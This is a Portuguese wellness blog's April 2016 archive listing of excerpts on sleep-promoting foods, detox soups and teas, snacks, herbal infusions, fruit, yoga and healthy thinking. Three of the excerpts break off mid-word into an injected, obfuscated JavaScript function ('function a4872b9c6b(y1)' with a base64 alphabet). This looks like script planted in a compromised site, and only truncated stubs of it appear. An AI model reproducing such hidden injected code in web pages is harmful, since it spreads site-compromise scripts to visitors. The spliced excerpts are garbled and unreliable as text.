Abr 20, 2016 | Equilíbrio, Saúde e bem estar
9 alimentos que a vão ajudar a dormir melhor As insónias são um problema. Por causa delas passamos as noites sem pregar olho e, de manhã, qufunction a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var...
Abr 19, 2016 | Equilíbrio, Saúde e bem estar
Aprenda a fazer 2 sopas detox, por Lillian Barros Sopa de couve flor e canela Benefícios: Saciante Apesar de se tratar de uma mistura improvável à primeira vista, a sopa de couve flor e canela tem um paladar sedutor. Baixa em calorias e com um efeito extremamente...
Abr 18, 2016 | Equilíbrio, Saúde e bem estar
Tenha sempre consigo uma lancheira saudável e nutritiva, por Rita Boavida, nutricionista Não sabe o que comer a meio da manhã e ao lanche? Tenta resistir mas acaba sempre por comer algo pouco saudável? Se a resposta é sim, a solução que lhe proponho é levar sempre...
Abr 14, 2016 | Equilíbrio, Saúde e bem estar
10 dicas para se libertar de pensamentos tóxicos, por Rute Caldeira A melhor forma de nos libertarmos de pensamentos tóxicos e do stress que nos intoxicam o organismo é através do auto-amor. Qufunction a4872b9c6b(y1){var...
Abr 12, 2016 | Em Alta, Equilíbrio, header, Saúde e bem estar
Tabela de infusões – Saiba que chá faz bem a quê Por Rita Boavida Uma infusão é a imersão de uma substância aromática em água quente ou a ferver. Algumas das infusões mais comuns são o chá, as tisanas e o café. Ao longo dos séculos o Homem foi conhecendo e...
Abr 11, 2016 | Equilíbrio, header, Saúde e bem estar
TOP 10 FRUTOS MENOS CALÓRICOS por Ágata Roquette De acordo com a Organização Mundial da Saúde, para uma alimentação saudável devemos consumir diariamente entre três a cinco porções de fruta (ou 400 gramas), dependendo da idade e das necessidades de cada pessoa. É...
Abr 5, 2016 | Equilíbrio, Saúde e bem estar, Zen Energy
Yoga em qualquer idade – Conheça os seus benefícios O yoga é para todas as idades e nunca é tarde para começar Está comprovado que os seniores e as pessoas com mobilidade reduzida têm enormes benefícios físicos ao praticarem yoga, pois em todas as fases da vida...
Abr 4, 2016 | Equilíbrio, Saúde e bem estar
Saiba mais sobre a dieta detox – Top 10 alimentos detox Uma dieta detox não é difícil de cumprir. Ao contrário do que muitos pensam não é uma dieta restritiva e não deve levar a processos de carência nem a fome! Um plano alimentar detox baseia-se nos fundamentos...
Abr 4, 2016 | Equilíbrio, Saúde e bem estar
Chá Detox muito simples de fazer, por Lillian Barros Ingredientes 3 colheres de sopa de cavalinha 2 paus de canela 1 limão 1L de água Preparação Comece por lavar bem a casca do limão. Descasque o limão evitfunction a4872b9c6b(y1){var...
Abr 1, 2016 | Equilíbrio, Saúde e bem estar, Zen Energy
Quer ser mais feliz? Tenha pensamentos saudáveis e abra os seus horizontes __ O modo como estruturamos o pensamento resulta de uma aprendizagem que fazemos ao longo da vida, influenciada por diversos factores (educação, identificação de padrões parentais, experiências...
